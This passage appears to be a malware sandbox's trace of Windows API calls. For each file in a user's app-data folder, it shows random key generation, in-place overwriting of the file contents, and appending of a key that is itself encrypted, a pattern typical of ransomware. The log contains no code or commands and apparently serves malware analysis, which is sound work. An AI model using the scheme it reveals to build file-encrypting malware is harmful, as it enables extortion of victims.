lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.495] CloseHandle (hObject=0x1820) returned 1 [0168.500] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0168.500] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.500] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\dccc04a3-64f0-4449-b08e-7f2c9a851fe3.dac3b31e-79f8-4a39-8dbf-fd1a8d3ab006.down_meta", dwFileAttributes=0x80) returned 1 [0168.501] ReadFile (in: hFile=0x1820, lpBuffer=0x582580, nNumberOfBytesToRead=0x5c4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582580*, lpNumberOfBytesRead=0x2e1f9bc*=0x5c4, lpOverlapped=0x0) returned 1 [0168.510] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-1476, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.510] WriteFile (in: hFile=0x1820, lpBuffer=0x582b50*, nNumberOfBytesToWrite=0x5c4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582b50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5c4, lpOverlapped=0x0) returned 1 [0168.510] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5c4 [0168.510] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.510] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.511] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.511] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.511] CloseHandle (hObject=0x1820) returned 1 [0168.512] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0168.513] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.513] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\d63c62cc-0cff-4737-aa3d-c81b04024c0e.up_meta_body", dwFileAttributes=0x80) returned 1 [0168.513] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.513] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.513] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.513] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0168.513] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.513] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.513] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.514] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.515] CloseHandle (hObject=0x1820) returned 1 [0168.516] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0168.516] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0168.516] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\d63c62cc-0cff-4737-aa3d-c81b04024c0e.up_meta", dwFileAttributes=0x80) returned 1 [0168.516] ReadFile (in: hFile=0x1820, lpBuffer=0x2f6c780, nNumberOfBytesToRead=0x112, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6c780*, lpNumberOfBytesRead=0x2e1f9bc*=0x112, lpOverlapped=0x0) returned 1 [0168.517] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-274, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.517] WriteFile (in: hFile=0x1820, lpBuffer=0x564e60*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x564e60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x112, lpOverlapped=0x0) returned 1 [0168.517] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x112 [0168.518] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.518] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.518] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.518] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.519] CloseHandle (hObject=0x1820) returned 1 [0168.520] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0168.520] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.520] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\d63c62cc-0cff-4737-aa3d-c81b04024c0e.ea3bcaa3-50dd-4c97-8fb4-bbe3218f2ed7.down_meta", dwFileAttributes=0x80) returned 1 [0168.520] ReadFile (in: hFile=0x1820, lpBuffer=0x5823d8, nNumberOfBytesToRead=0x5c0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5823d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x5c0, lpOverlapped=0x0) returned 1 [0168.532] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-1472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.532] WriteFile (in: hFile=0x1820, lpBuffer=0x5829a0*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5829a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5c0, lpOverlapped=0x0) returned 1 [0168.533] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5c0 [0168.533] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.533] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.533] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.533] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.534] CloseHandle (hObject=0x1820) returned 1 [0168.535] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0168.535] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.535] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\d3c37a73-91a0-406c-89cb-164b23a60cc7.up_meta_body", dwFileAttributes=0x80) returned 1 [0168.536] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3538, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.536] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.536] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.536] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0168.536] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.536] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.536] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.537] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.538] CloseHandle (hObject=0x1820) returned 1 [0168.551] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0168.551] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0168.551] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\d3c37a73-91a0-406c-89cb-164b23a60cc7.up_meta", dwFileAttributes=0x80) returned 1 [0168.552] ReadFile (in: hFile=0x1820, lpBuffer=0x30ca430, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ca430*, lpNumberOfBytesRead=0x2e1f9bc*=0xda, lpOverlapped=0x0) returned 1 [0168.552] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.552] WriteFile (in: hFile=0x1820, lpBuffer=0x30c9868*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30c9868*, lpNumberOfBytesWritten=0x2e1f9bc*=0xda, lpOverlapped=0x0) returned 1 [0168.553] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xda [0168.553] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.553] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.553] WriteFile (in: hFile=0x1820, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.554] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.554] CloseHandle (hObject=0x1820) returned 1 [0168.556] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0168.556] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0168.556] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\d3c37a73-91a0-406c-89cb-164b23a60cc7.2eab7492-5633-455d-b98b-79091eb352d4.down_meta", dwFileAttributes=0x80) returned 1 [0168.556] ReadFile (in: hFile=0x1820, lpBuffer=0x582160, nNumberOfBytesToRead=0x5c6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0x5c6, lpOverlapped=0x0) returned 1 [0168.561] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-1478, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.561] WriteFile (in: hFile=0x1820, lpBuffer=0x582730*, nNumberOfBytesToWrite=0x5c6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582730*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5c6, lpOverlapped=0x0) returned 1 [0168.562] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5c6 [0168.562] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.562] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.562] WriteFile (in: hFile=0x1820, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.562] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.563] CloseHandle (hObject=0x1820) returned 1 [0168.564] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0168.564] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0168.564] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\ca21c08c-5147-46c8-a773-80b1d97dcaf9.up_meta_body", dwFileAttributes=0x80) returned 1 [0168.565] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3478, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.565] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.565] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.565] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0168.565] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.565] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.565] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.566] WriteFile (in: hFile=0x1820, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.566] CloseHandle (hObject=0x1820) returned 1 [0168.568] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0168.568] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.568] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\ca21c08c-5147-46c8-a773-80b1d97dcaf9.up_meta", dwFileAttributes=0x80) returned 1 [0168.568] ReadFile (in: hFile=0x1820, lpBuffer=0x30ca8b8, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ca8b8*, lpNumberOfBytesRead=0x2e1f9bc*=0xda, lpOverlapped=0x0) returned 1 [0168.569] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.569] WriteFile (in: hFile=0x1820, lpBuffer=0x30c9868*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30c9868*, lpNumberOfBytesWritten=0x2e1f9bc*=0xda, lpOverlapped=0x0) returned 1 [0168.569] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xda [0168.569] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.569] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.569] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.570] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.570] CloseHandle (hObject=0x1820) returned 1 [0168.581] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0168.581] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.581] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\ca21c08c-5147-46c8-a773-80b1d97dcaf9.079f15ac-a3f8-4b88-a4c7-f1a6ae04756a.down_meta", dwFileAttributes=0x80) returned 1 [0168.582] ReadFile (in: hFile=0x1820, lpBuffer=0x582160, nNumberOfBytesToRead=0x5c6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0x5c6, lpOverlapped=0x0) returned 1 [0168.604] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-1478, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.604] WriteFile (in: hFile=0x1820, lpBuffer=0x582730*, nNumberOfBytesToWrite=0x5c6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582730*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5c6, lpOverlapped=0x0) returned 1 [0168.604] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5c6 [0168.604] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.604] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.605] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.605] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.605] CloseHandle (hObject=0x1820) returned 1 [0168.607] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0168.607] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.607] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\c86e3408-9792-4ca6-90ee-da0828306422.up_meta_body", dwFileAttributes=0x80) returned 1 [0168.607] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.607] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | 